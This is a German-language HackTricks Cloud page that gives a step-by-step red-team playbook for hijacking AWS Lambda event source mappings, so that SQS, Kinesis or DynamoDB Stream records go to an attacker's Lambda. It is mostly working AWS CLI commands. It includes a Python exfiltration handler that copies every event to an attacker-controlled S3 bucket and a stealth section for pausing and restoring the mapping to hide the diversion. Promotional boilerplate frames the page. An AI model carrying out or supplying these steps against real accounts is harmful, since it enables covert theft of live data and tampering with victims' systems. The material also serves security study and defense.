AWS - Hijack Event Source Mapping to Redirect Stream/SQS/Kinesis to Attacker Lambda
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Missbrauche UpdateEventSourceMapping, um das Ziel-Lambda einer bestehenden Event Source Mapping (ESM) zu ändern, sodass Datensätze von DynamoDB Streams, Kinesis oder SQS an eine attacker-controlled function geliefert werden. Dies lenkt Live-Daten stillschweigend um, ohne Producer oder den ursprünglichen Funktionscode zu verändern.
Auswirkungen
- Live-Datensätze aus bestehenden streams/queues umleiten und auslesen, ohne producer apps oder victim code zu verändern.
- Potenzielle data exfiltration oder Logikmanipulation, indem der victim's traffic in einer rogue function verarbeitet wird.
Erforderliche Berechtigungen
lambda:ListEventSourceMappingslambda:GetEventSourceMappinglambda:UpdateEventSourceMapping- Möglichkeit, eine attacker-controlled Lambda bereitzustellen oder zu referenzieren (
lambda:CreateFunctionoder Berechtigung, eine vorhandene zu verwenden).
Schritte
- Auflisten der event source mappings für die victim function
TARGET_FN=<victim-function-name>
aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[].{UUID:UUID,State:State,EventSourceArn:EventSourceArn}'
export MAP_UUID=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].UUID' --output text)
export EVENT_SOURCE_ARN=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].EventSourceArn' --output text)
- Bereite eine vom Angreifer kontrollierte Empfänger-Lambda vor (gleiche Region; idealerweise ähnliches VPC/runtime)
cat > exfil.py <<'PY'
import json, boto3, os, time
def lambda_handler(event, context):
print(json.dumps(event)[:3000])
b = os.environ.get('EXFIL_S3')
if b:
k = f"evt-{int(time.time())}.json"
boto3.client('s3').put_object(Bucket=b, Key=k, Body=json.dumps(event))
return {'ok': True}
PY
zip exfil.zip exfil.py
ATTACKER_LAMBDA_ROLE_ARN=<role-with-logs-(and optional S3)-permissions>
export ATTACKER_FN_ARN=$(aws lambda create-function \
--function-name ht-esm-exfil \
--runtime python3.11 --role $ATTACKER_LAMBDA_ROLE_ARN \
--handler exfil.lambda_handler --zip-file fileb://exfil.zip \
--query FunctionArn --output text)
- Die Zuordnung auf die attacker function umleiten
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $ATTACKER_FN_ARN
- Erzeuge ein Ereignis an der Quelle, damit das Mapping ausgelöst wird (Beispiel: SQS)
SOURCE_SQS_URL=<queue-url>
aws sqs send-message --queue-url $SOURCE_SQS_URL --message-body '{"x":1}'
- Überprüfen, ob die Angreifer-Funktion das Batch erhält
aws logs filter-log-events --log-group-name /aws/lambda/ht-esm-exfil --limit 5
- Optionale Stealth
# Pause mapping while siphoning events
aws lambda update-event-source-mapping --uuid $MAP_UUID --enabled false
# Restore original target later
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $TARGET_FN --enabled true
Hinweise:
- Für SQS ESMs benötigt die Ausführungsrolle der Lambda, die die Queue verarbeitet,
sqs:ReceiveMessage,sqs:DeleteMessageundsqs:GetQueueAttributes(managed policy:AWSLambdaSQSQueueExecutionRole). - Die ESM UUID bleibt gleich; nur ihr
FunctionArnwird geändert, sodass Producer und Quell-ARNs unberührt bleiben.
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud